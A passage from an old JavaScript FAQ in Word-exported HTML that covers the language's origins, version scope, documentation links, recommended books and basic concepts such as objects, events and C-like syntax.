<p class="MsoNormal" style="margin-left: 1.5in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level3 lfo1; tab-stops: list 1.5in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">2.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ6_2"><span style="color: #0000ff;">Borland IntraBuilder</span></a><sup>TM</sup></span></p>
<p class="MsoNormal" style="margin-left: 1.5in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level3 lfo1; tab-stops: list 1.5in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">3.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ6_3"><span style="color: #0000ff;">Netscape Visual JavaScript 1.0</span></a> </span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">2.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ6_4"><span style="color: #0000ff;">Are there any debugging tools for JavaScript?</span></a> </span></p>
<p class="MsoNormal" style="margin-left: 0.5in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></p>
<p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level1 lfo1; tab-stops: list .5in;"><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">7.<span style="font: 7pt 'Times New Roman';">    </span></span><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ7"><strong><span style="color: #0000ff;">Other Sources</span></strong></a> </span></p>
<p class="MsoNormal"> </p>
<h1>General</h1>
<h3>1. <a name="FAQ1_1"></a>What is JavaScript?</h3>
<p style="text-align: justify;"><strong><em><span style="font-size: 10pt;">J</span></em></strong><strong><em><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">avaScript</span></em></strong><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> is a platform-independent, event-driven, interpreted programming language developed by Netscape Communications Corp. and Sun Microsystems. Originally called LiveScript (and still called LiveWire<sup>TM</sup> by Netscape in its compiled, server-side incarnation), JavaScript is affiliated with Sun&#8217;s object-oriented programming language Java<sup>TM</sup> primarily as a marketing convenience. They <strong>interoperate well</strong> but are technically, functionally and behaviorally very different.</span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">JavaScript is useful for adding interactivity to the World Wide Web because scripts can be embedded in HTML files (i.e., web pages) simply by enclosing code in a </span><code><span style="font-size: 10pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">&lt;SCRIPT&gt; &lt;/SCRIPT&gt;</span></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> tag pair. All modern browsers can interpret JavaScript &#8212; albeit with some irritating caveats. (More about them below.)</span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">In practice, JavaScript is a fairly universal extension to HTML that can enhance the user experience through <strong>event handling</strong> and <strong>client-side execution</strong>, while extending a web <strong>developer&#8217;s control</strong> over the client&#8217;s browser. And that&#8217;s worth a FAQ.</span></p>
<p style="text-align: right;" align="right"><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>2.<a name="FAQ1_2"></a> What versions of the language does this FAQ cover?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-fareast-font-family: 'Courier New'; mso-bidi-font-size: 7.5pt;">T</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">his FAQ covers the language through JavaScript 1.2, the version deployed in Netscape Communicator 4.0x, plus some compatibility items with Jscript as implemented in Microsoft Internet Explorer 3.0x. The focus here is on client-side JavaScript.</span></p>
<p style="text-align: right;" align="right"><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>3. <a name="FAQ1_3"></a>What’s <em>not</em> covered here?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-fareast-font-family: 'Courier New'; mso-bidi-font-size: 7.5pt;">O</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">ther browser-based scripting languages such as Microsoft VBScript. Server-side JavaScript and Netscape LiveWire Pro. Database connectivity. Known bugs. Netscape&#8217;s JSRef source libraries for embedding the JavaScript interpreter in third-party code.</span></p>
<p style="text-align: right;" align="right"><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>4. <a name="FAQ1_4"></a>Who wrote this FAQ?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-fareast-font-family: 'Courier New'; mso-bidi-font-size: 7.5pt;">T</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">he answers herein have been compiled from several sources. The largest contribution is from Danny Goodman&#8217;s <strong>JavaScript Mini-FAQ</strong>, updated periodically in the newsgroup </span><code><strong><span style="font-size: 10pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">comp.lang.javascript</span></strong></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">. Postings to that newsgroup are also a rich source of questions and answers. Items quoted or paraphrased from books on the subject are attributed in the text. Finally, we at IDM have added our own two cents worth.</span></p>
<p style="text-align: right;" align="right"><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>5. <a name="FAQ1_5"></a>Can I mirror or reprint this FAQ?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-fareast-font-family: 'Courier New'; mso-bidi-font-size: 7.5pt;">Y</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">es, with two restrictions. You must retain the previous paragraph (&#8221;Who wrote this FAQ?&#8221;), and you must cite <em>Intranet Journal</em>, giving the URL in print media and/or linking <a href="http://idm.internet.com/index.html"><span style="color: #0000ff;">idm.internet.com</span></a> in online media.</span></p>
<p style="text-align: right;" align="right"><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<p style="text-align: justify;"><strong><span style="text-decoration: underline;"><span style="font-size: 16pt; mso-bidi-font-size: 7.5pt;">JavaScript Documentation</span></span></strong><span style="text-decoration: underline;"></span></p>
<h3>1. <a name="FAQ2_1"></a>Where can I find <em>online documentation</em> for JavaScript?</h3>
<p style="margin-left: 0.5in; margin-right: 0.5in;"><span class="dc1"><span style="font-size: 10pt; mso-fareast-font-family: 'Courier New'; mso-bidi-font-size: 7.5pt;">E</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">CMAScript (ECMA-262) has since June 1997 been the <strong>official scripting standard</strong> for the Web. It is documented at:<br />
<a href="http://www.ecma.ch/stand/ecma-262.htm" target="_blank"><span style="color: #0000ff;">http://www.ecma.ch/stand/ecma-262.htm</span></a> </span></p>
<p style="margin-left: 0.5in; margin-right: 0.5in;"><span style="font-size: 10pt;">C</span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">urrent JavaScript docs (for Netscape) are available at:<br />
<a href="http://home.netscape.com/eng/mozilla/3.0/handbook/javascript" target="_blank"><span style="color: #0000ff;">home.netscape.com/eng/mozilla/3.0/handbook/javascript</span></a> </span></p>
<p style="margin-left: 0.5in; margin-right: 0.5in;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Netscape&#8217;s <strong><em>JavaScript FAQ</em></strong> is at:<br />
<a href="http://developer.netscape.com/support/faqs/champions/javascript.html" target="_blank"><span style="color: #0000ff;">developer.netscape.com/support/faqs/champions/javascript.html</span></a> </span></p>
<p style="margin-left: 0.5in; margin-right: 0.5in;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">A zipped set of Netscape&#8217;s HTML documents is available at:<br />
<a href="http://developer.netscape.com/library/documentation/jshtm.zip"><span style="color: #0000ff;">developer.netscape.com/library/documentation/jshtm.zip</span></a> </span></p>
<p style="margin-left: 0.5in; margin-right: 0.5in;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Microsoft&#8217;s scripting language site is:<br />
<a href="http://msdn.microsoft.com/scripting/" target="_blank"><span style="color: #0000ff;">http://msdn.microsoft.com/scripting/</span></a> </span>
</p>
<p style="text-align: right;" align="right"><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>2. <a name="FAQ2_2"></a>Where is the official bug list for JavaScript?</h3>
<p style="margin-left: 0.5in; margin-right: 0.5in; text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-fareast-font-family: 'Courier New'; mso-bidi-font-size: 7.5pt;">N</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">etscape maintains a page of <a href="http://developer.netscape.com/support/bugs/known/javascript.html" target="_blank"><span style="color: #0000ff;">JavaScript Known Bugs</span></a> in its online Navigator Release Notes. Unfortunately, according to guru Danny Goodman, &#8220;this list is not complete,&#8221; and we know of no definitive, well-maintained alternative.</span></p>
<p style="text-align: right;" align="right"><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>3. <a name="FAQ2_3"></a>Read any good JavaScript books lately?</h3>
<p style="margin-left: 0.5in; margin-right: 0.5in; text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-fareast-font-family: 'Courier New'; mso-bidi-font-size: 7.5pt;">Y</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">es! As with computer books generally, texts on browser scripting are plentiful, but the number of good ones is surprisingly small. Nor are the best ones always the most visible. Intranet Journal&#8217;s favorites, for instance, include a pair of texts from British publisher Wrox Press Ltd.:</span></p>
<ol type="1">
<li> 
<ul type="square">
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l14 level2 lfo2; tab-stops: list 1.0in;"><strong><em><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.amazon.com/exec/obidos/ISBN=1861001193/intranetdesignmaA/"><span style="color: #0000ff;">Instant Netscape Dynamic HTML Programmer&#8217;s Reference</span></a></span></em></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> (Wrox Press, Aug 1997) by Alex Homer &amp; Chris Ullman </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l14 level2 lfo2; tab-stops: list 1.0in;"><strong><em><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.amazon.com/exec/obidos/ISBN=1861000685/intranetdesignmaA/"><span style="color: #0000ff;">Instant IE4 Dynamic HTML Programmer&#8217;s Reference</span></a></span></em></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> (Wrox Press, July 1997) by Alex Homer &amp; Chris Ullman </span></li>
</ul>
</li>
</ol>
<p style="margin-left: 0.5in; margin-right: 0.5in; text-align: justify;"><span style="font-size: 10pt;">T</span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">hese <strong>programmer&#8217;s references</strong> are so good because they work from the <strong>browser object model</strong> up, recognizing fundamental differences between the Microsoft and Netscape approaches. As the titles suggest, they treat the gamut of client-side techniques for making web pages dynamic: JavaScript, VBScript, Layers and Style Sheets. They excel as references for each.</span></p>
<p style="margin-left: 0.5in; margin-right: 0.5in; text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">The Wrox books are written for a <strong>programming audience</strong>. Also in this category, but with different emphases, are the following:</span></p>
<ol type="1">
<li> 
<ul type="square">
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l4 level2 lfo3; tab-stops: list 1.0in;"><strong><em><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.oreilly.com/catalog/dhtmlref/" target="_blank"><span style="color: #0000ff;">Dynamic HTML: The Definitive Reference</span></a></span></em></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> (O&#8217;Reilly, July 1998) by Danny Goodman. A compendium for <strong>Web content developers</strong> that contains reference material for all of the HTML tags, CSS style attributes, browser document objects, and JavaScript objects. </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l4 level2 lfo3; tab-stops: list 1.0in;"><strong><em><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www1.fatbrain.com/asp/bookinfo/bookinfo.asp?theisbn=1575210940" target="_blank"><span style="color: #0000ff;">Netscape ONE Developer&#8217;s Guide</span></a></span></em></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> (Sams Publishing, April 1997) by William Robert Stanek &amp; Blake Benet Hall. This programmer&#8217;s guide to developing commercial-grade Web sites for the Netscape 2.x environment covers <strong>client- and server-side scripting</strong> in detail. </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l4 level2 lfo3; tab-stops: list 1.0in;"><strong><em><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www1.fatbrain.com/asp/bookinfo/bookinfo.asp?theisbn=1565923928" target="_blank"><span style="color: #0000ff;">JavaScript: The Definitive Guide</span></a></span></em></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> (O&#8217;Reilly, June 1998), by David Flanagan. One of O&#8217;Reilly&#8217;s <strong>Nutshell Handbooks</strong>, this guide furthers a tradition that includes Larry Wall&#8217;s <em>Programming Perl</em> and definitive texts on every Unix utility. But why a rhino? </span></li>
</ul>
</li>
</ol>
<p style="margin-left: 0.5in; margin-right: 0.5in; text-align: justify;"><span style="font-size: 10pt;">B</span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">eginners and <strong>less technical webmasters</strong> may find one of the following</span><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"> </span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">sources a more suitable introduction to scripting.</span></p>
<ol type="1">
<li> 
<ul type="square">
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l11 level2 lfo4; tab-stops: list 1.0in;"><strong><em><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www1.fatbrain.com/asp/bookinfo/bookinfo.asp?theisbn=1558515135" target="_blank"><span style="color: #0000ff;">Practical Javascript Programming</span></a></span></em></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> (M&amp;T Books, March 1997), by Reaz Hoque. Contains extensive plug &amp; play code samples, plus an introduction to Netscape&#8217;s server-side language, LiveWire Pro. </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l11 level2 lfo4; tab-stops: list 1.0in;"><strong><em><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www1.fatbrain.com/asp/bookinfo/bookinfo.asp?theisbn=0764531883" target="_blank"><span style="color: #0000ff;">JavaScript Bible, 3rd Ed</span></a></span></em></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">. (IDG Books, March 1998), by Danny Goodman. </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l11 level2 lfo4; tab-stops: list 1.0in;"><strong><em><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://gmccomb.com/javascript/"><span style="color: #0000ff;">JavaScript Sourcebook</span></a></span></em></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> (John Wiley &amp; Sons, Aug 1996), by Gordon McComb. </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l11 level2 lfo4; tab-stops: list 1.0in;"><strong><em><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Programming JavaScript for Netscape 2.0</span></em></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> (New Riders, 1996), by Tim Ritchey. Older, rich in background, emphasizes JavaScript as stepping stone to Java. </span></li>
</ul>
</li>
</ol>
<p style="text-align: right;" align="right"><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h2>First Principles</h2>
<h3>1. <a name="FAQ3_1"></a>What are the language&#8217;s basic entities?</h3>
<p style="text-align: justify;"><span style="font-size: 10pt;">A</span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">. As in most <em>object-oriented</em>, <em>event-driven</em> programming languages, there are <span style="text-decoration: underline;">four</span> distinct entities in JavaScript:</span></p>
<ul type="square">
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l13 level1 lfo5; tab-stops: list .5in;"><strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">OBJECTS</span></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">. A discussion of objects is beyond the scope of this FAQ (see the section <a href="http://www.intranetjournal.com/faqs/objects/index.html"><span style="color: #0000ff;">&#8220;Objects and the Web&#8221;</span></a> in Intranet Journal&#8217;s <a href="http://www.intranetjournal.com/ifaq.html"><span style="color: #0000ff;">Intranet FAQ</span></a> for background). It&#8217;s impossible to understand JavaScript without knowing the <strong>following essentials</strong>, however: </span>
<ol type="a">
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l13 level2 lfo5; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">everything you can control in a web browser is an <span style="text-decoration: underline;">object</span> comprising <em>properties</em> and <em>methods</em> (sometimes referred to in the literature as attributes and operations, respectively) </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l13 level2 lfo5; tab-stops: list 1.0in;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">properties</span></span><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> define the state of an object; e.g., <strong><em>red</em></strong> text, <strong><em>10-element</em></strong> array </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l13 level2 lfo5; tab-stops: list 1.0in;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">methods</span></span><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> define the actions that change the state of an object; e.g., </span><code><span style="font-size: 10pt; font-family: 'Courier New';">fontcolor("red")</span></code><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> sets the color of a text object to red. </span></li>
</ol>
</li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l13 level1 lfo5; tab-stops: list .5in;"><strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">FUNCTIONS</span></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">. Methods that operate outside of objects; e.g., </span><code><span style="font-size: 10pt; font-family: 'Courier New';">escape()</span></code><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> and </span><code><span style="font-size: 10pt; font-family: 'Courier New';">unescape()</span></code><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">, JavaScript functions that perform ASCII to hex conversions. The existence of non-object-specific functions in JavaScript keeps it from being a truly object-oriented language like Java. </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l13 level1 lfo5; tab-stops: list .5in;"><strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">STATEMENTS</span></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">. Programming commands that control object lifecycles and the flow of execution; e.g., </span><code><span style="font-size: 10pt; font-family: 'Courier New';">if..else</span></code><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">, </span><code><span style="font-size: 10pt; font-family: 'Courier New';">while</span></code><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">. JavaScript statements and syntax</span><span style="font-size: 11pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> closely resemble those of the &#8216;C&#8217; programming language. </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l13 level1 lfo5; tab-stops: list .5in;"><strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">EVENTS</span></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">. Things that happen, usually as a result of user actions, to which a JavaScript program can respond; e.g., a mouse click. Events always happen in relation to a given object, such as a button in a form (for which </span><code><span style="font-size: 10pt; font-family: 'Courier New';">onClick</span></code><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> is a typical event), or an entire web page (sample event: </span><code><span style="font-size: 10pt; font-family: 'Courier New';">onLoad</span></code><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">). The code that specifies what the object should do in response to an event is a special type of method called an <em>event handler</em>. </span></li>
</ul>
<p style="text-align: right;" align="right"><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>2. <a name="FAQ3_2"></a>How does JavaScript model the world?</h3>
<p style="text-align: justify;"><span style="font-size: 10pt;">A</span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">. This question goes to the heart of any OOPS [Object-Oriented Programming System]. The abbreviated answer given here &#8212; lengthy as it is &#8212; omits important differences between the Netscape and Microsoft browser object models, and between various versions of JavaScript. For a more accurate discussion refer to one of the <a href="http://www.intranetjournal.com/jsfaq/index.html#progref"><span style="color: #0000ff;">programmer&#8217;s references cited</span></a> elsewhere in this FAQ.</span></p>
<p style="text-align: right;" align="right"><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>3. <a name="FAQ3_3"></a>What are JavaScript <em>event handlers</em>?</h3>
<p style="text-align: justify;"><span style="font-size: 10pt;">A</span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">. Among other things, event handlers are the subject of part II of Intranet Journal&#8217;s 3-part tutorial, <a href="http://www.intranetjournal.com/corner/hoque/basic-1.shtml"><span style="color: #0000ff;">JavaScript 101</span></a>, by Reaz Hoque. That&#8217;s a good starting place. Also refer to the following diagram from Wrox Press Ltd., which puts browser events and the code that handles them in context.</span></p>
<div>
<table style="mso-cellspacing: 1.5pt;" border="0" cellpadding="0">
<tbody>
<tr>
<td style="padding: 0.75pt;">
<p class="MsoNormal" style="text-align: center;" align="center"><strong><span style="font-size: 10pt; font-family: Arial;">Handling Browser Events</span></strong></p>
</td>
</tr>
<tr>
<td style="padding: 0.75pt;">
<p class="MsoNormal" style="text-align: center;" align="center"> <br />
<a href="http://www.intranetjournal.com/pix/stories/wrox-ev.gif"></a></p>
</td>
</tr>
</tbody>
</table>
</div>
<p class="MsoNormal"> </p>
<p style="text-align: right;" align="right"><a name="FAQ3_4"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>4. How is JavaScript syntax like C / C++?</h3>
<p style="text-align: justify;"><span style="font-size: 10pt;">A</span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">. The languages have enough in common to make learning one easy if you know the other. By the same token, the differences are subtle enough to trip up those proficient in both. Here&#8217;s a short list comparing C and JavaScript:</span></p>
<ul type="square">
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l7 level1 lfo6; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Terminating JavaScript command lines in <strong>semicolons</strong> is optional; in C it&#8217;s mandatory. Recommended practice is to use them religiously in both languages (and Java as well). </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l7 level1 lfo6; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Both JavaScript and C are <strong>case-sensitive</strong>; &#8216;doThis&#8217; is different from &#8216;DOTHIS&#8217;. Experienced programmers learn to love this feature, which drives beginners nuts. </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l7 level1 lfo6; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Both JavaScript and C are <strong>block-structured</strong> computer languages and employ curly brackets &#8212; &#8216;{&#8217; and &#8216;}&#8217; &#8212; to delimit blocks. </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l7 level1 lfo6; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Both JavaScript and C employ <strong>quotation</strong> &#8212; enclosure in single or double quote marks &#8212; to designate text strings. </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l7 level1 lfo6; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Arrays in both JavaScript and C are <strong>zero-based</strong>; the first element is myArray[0], not myArray[1]. </span></li>
